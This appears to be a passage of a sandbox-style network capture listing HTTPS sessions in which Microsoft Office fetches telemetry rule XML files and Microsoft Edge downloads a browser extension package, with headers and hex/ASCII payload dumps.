2024-11-25 04:46:43 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:42 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:43 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7e801f10-e01e-003c-746c-3dc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044643Z-15b8b599d88tr2flhC1TEB5gk400000005pg000000001fv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49834	172.217.19.225	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:43 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:44 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC5isHQgmb4u0tVksA5hf1k3MbnVznHKmZB6lTKqoNZctsPSRpHdFo-Oey6vXSF6fQvBhWylcQdPxw X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Sun, 24 Nov 2024 16:45:00 GMT Expires: Mon, 24 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 43304 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-25 04:46:44 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-25 04:46:44 UTC	1390	IN	Data Raw: 5f b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c Data Ascii: _V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\
2024-11-25 04:46:44 UTC	1390	IN	Data Raw: 8e b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FS
2024-11-25 04:46:44 UTC	1390	IN	Data Raw: eb 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-25 04:46:44 UTC	1390	IN	Data Raw: 48 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 Data Ascii: H? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-25 04:46:44 UTC	1390	IN	Data Raw: 50 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 Data Ascii: P=[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-25 04:46:44 UTC	1390	IN	Data Raw: ee 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-11-25 04:46:44 UTC	1390	IN	Data Raw: 8f 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-25 04:46:44 UTC	1390	IN	Data Raw: 3f a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 Data Ascii: ?wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mes
2024-11-25 04:46:44 UTC	1390	IN	Data Raw: c1 c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:45 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:45 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 43acaf28-701e-006f-5cf7-3cafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044645Z-178bfbc474bwlrhlhC1NYCy3kg00000006yg00000000a0hn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:45 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:45 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 1e280d2f-401e-0029-0d7f-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044645Z-174c587ffdf7t49mhC1TEB4qbg00000005eg0000000039w0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:45 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:45 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1b17855c-f01e-0099-1f6a-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044645Z-174c587ffdfks6tlhC1TEBeza400000005k00000000069e0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:45 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:45 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044645Z-174c587ffdf4zw2thC1TEBu34000000005mg00000000303e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
